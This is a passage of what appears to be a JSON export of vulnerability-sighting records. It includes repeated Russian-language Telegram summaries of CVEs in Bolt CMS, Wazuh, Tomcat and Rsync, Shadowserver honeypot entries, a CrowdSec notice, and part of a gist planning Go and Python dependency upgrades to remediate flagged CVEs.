\u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:22.217157Z"}, {"uuid": "b9f2aac3-8eee-4f72-a186-6098ec27b216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:22.253706Z"}, {"uuid": "6e7f747f-0eca-453f-b57f-5fac794b3fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/386", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-25599 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Bolt CMS, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0432\u0430\u0442\u0430\u0440\u043e\u0432 \u043f\u043e URL. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Wazuh, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0432 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 eval \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 DAPI. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API \u0438\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0430\u0433\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 JSON-\u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 as_wazuh_object \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e Python-\u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Wazuh.\n\n\ud83d\udd35CVE-2025-24813 \u2014 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Tomcat, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439\u0441\u044f \u0432 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd35CVE-2024-12084, CVE-2024-12086, CVE-2024-12087 \u0438 CVE-2024-12088 \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Rsync \u0432\u0435\u0440\u0441\u0438\u0438 3.2.7, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 Debian 12. \u0412\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438, \u0443\u0442\u0435\u0447\u043a\u0443 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0431\u0445\u043e\u0434 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:22.366088Z"}, {"uuid": "d3ed4df4-6838-49e4-b466-613483f5d138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:03.713334Z"}, {"uuid": "3e40e48d-e53f-433d-9243-518850138335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-07)", "content": "", "creation_timestamp": "2026-06-07T00:00:00.000000Z"}, {"uuid": "039cadac-587a-4e6a-803f-06aa6ab9a551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:00:03.827037Z"}, {"uuid": "b3dca7f0-0980-40a4-9a05-3d2bae16488f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-08)", "content": "", "creation_timestamp": "2026-06-08T00:00:00.000000Z"}, {"uuid": "0069a04c-6a76-4877-bf24-bdd92dddf447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:00:06.153193Z"}, {"uuid": "0697ee36-f726-41f5-8a9f-ff044bef34cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-08)", "content": "", "creation_timestamp": "2026-06-08T00:00:00.000000Z"}, {"uuid": "c43c2dbd-d692-4ca9-b7cf-1ab1fdde09a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3mtbokoth222v", "content": "\ud83d\udea8 In this week\u2019s newsletter, we cover CVE-2024-12847, a critical RCE vulnerability affecting NETGEAR DGN1000 routers that has become the most-attacked flaw tracked by the CrowdSec Network. \n\nRead the full analysis and protect your systems \ud83d\udc49 www.crowdsec.net/vulntracking...", "creation_timestamp": "2026-08-17T12:12:44.739200Z"}, {"uuid": "7dc5a0b0-c304-45b5-b550-823f9c1cc19d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:15:05.081331Z"}, {"uuid": "8a2b7bcb-83a6-4ef8-a75a-4a62f51a6413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-08)", "content": "", "creation_timestamp": "2026-08-09T10:08:28.300115Z"}, {"uuid": "acca1093-af33-4b42-b921-9681ed6750e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-10)", "content": "", "creation_timestamp": "2026-06-10T00:00:00.000000Z"}, {"uuid": "df73a8a8-f291-48dd-91e1-7f71edf0ee51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://gist.github.com/sruthi-parthasarathi-ai/f233e53a928e386fffc3053e894ba089", "content": "# MB 1.71 CVE Remediation \u2014 Go + Python Action Plan\n\n**Customer context:** Mercedes-Benz's Security Command Center flagged 272 CVEs on the 1.71 canary cluster. This document covers the **Go (23) and Python (26) CVEs only**. The Maven/Spark CVEs (~120) are being handled separately via a cluster config change (disabling Spark 3.4) and are not in scope here.\n\n**Target:** PRs up by EOD Thursday, June 12, ahead of the June 15 MB meeting.\n\n---\n\n## How to read this doc\n\nThis is organized by team, matching the Slack thread. Each section has:\n- The exact version bumps needed\n- Which files to change\n- A brief note on why a particular fix is scoped the way it is\n\nTwo questions come up repeatedly, so the answers are here upfront:\n\n**Why are `py38` lockfiles being skipped for some packages?**\nThree of the packages \u2014 `aiohttp`, `lxml`, and `pillow` \u2014 have CVE fix versions that dropped Python 3.8 support (`aiohttp >= 3.13.3`, `lxml >= 6.1`, `Pillow >= 11.0` all require Python 3.9+). Fixing the py38 lockfiles would require upgrading our Python 3.8 toolchain first, which is out of scope for June 15. The py38 lockfiles will retain a residual CVE for those three packages until a follow-on py38 retirement effort. This is an accepted risk for now.\n\n**Why focus on these packages and not others?**\nThese are the packages the GCP Security Command Center specifically flagged. The remaining CVEs outside this list (e.g., grpcio, protobuf, numpy, docker) are also present but were either (a) not included in the MB-specific SCC report, (b) already fixed in the versions we're running, or (c) identified as requiring a more complex effort that can't land by June 15. The `govulncheck` and `pip-audit` follow-ons at the bottom of this doc will surface those.\n\n---\n\n## Dev Frameworks\n\n### Go: bump the toolchain \u2014 fixes 15 CVEs including 1 CRITICAL\n\nThe Go runtime on 1.71 is `1.25.5`. The CVE fix requires `1.25.11`. The Go version is pinned in **two separate places** and both need to change:\n\n**1. `WORKSPACE`** \u2014 this is the Bazel build-time toolchain, controls all compiled Go binaries:\n```\n# Change this line:\ngo_register_toolchains(\n    version = \"1.25.5\",\n)\n# To:\ngo_register_toolchains(\n    version = \"1.25.11\",\n)\n```\n\n**2. `go.mod` files** \u2014 the `go` directive and `toolchain` directive are separate from the Bazel pin. Files to update:\n\n| File | What to change |\n|---|---|\n| `go.mod` (root) | `go 1.25.5` \u2192 `go 1.25.11` |\n| `internal_apps/apps/apx/go.mod` | `go 1.25.0` \u2192 `go 1.25.11` |\n| `apps_platform/lib/*/go.mod` (8 files) | `toolchain go1.25.8` \u2192 `toolchain go1.25.11` |\n| `apps_platform/platform/*/go.mod` (6 files) | `toolchain go1.25.5` or `go1.25.8` \u2192 `toolchain go1.25.11` |\n\nThere are no breaking changes between 1.25.5 and 1.25.11 \u2014 this is a patch-series security release.\n\n---\n\n### Go: bump `go-jose/v4` \u2014 quick win\n\n| Package | Current | Fix | Where |\n|---|---|---|---|\n| `github.com/go-jose/go-jose/v4` | `v4.1.3` (main go.mod, indirect) | `v4.1.5` | `go.mod` + all `apps_platform/*/go.mod` |\n\nThis is an indirect dependency pulled in through OIDC/OAuth libraries. Fix: `go get github.com/go-jose/go-jose/v4@v4.1.5 && go mod tidy`. No API changes.\n\n---\n\n### Python: lockfile bumps\n\nFor Python fixes, the workflow is: bump the version in the relevant `requirements.txt` input files, then regenerate the compiled lockfiles. The compiled lockfiles (`requirements_compiled_*.txt`) are what actually gets installed \u2014 they need to be regenerated after any input change.\n\n#### `h11` \u2192 `0.16.0` \u2014 **CRITICAL, highest priority Python fix**\n\n`h11` is uvicorn's HTTP/1.1 implementation. CVE-2025-43859 allows HTTP request smuggling via malformed chunked encoding. Services using uvicorn (`web_services/sre/`, model_management autodistill server, `gen_ai/spec_in_the_loop/server/`) are the exposed surface.\n\nLockfiles to regenerate (the `py39` and `py310` lockfiles are already at `0.16.0` 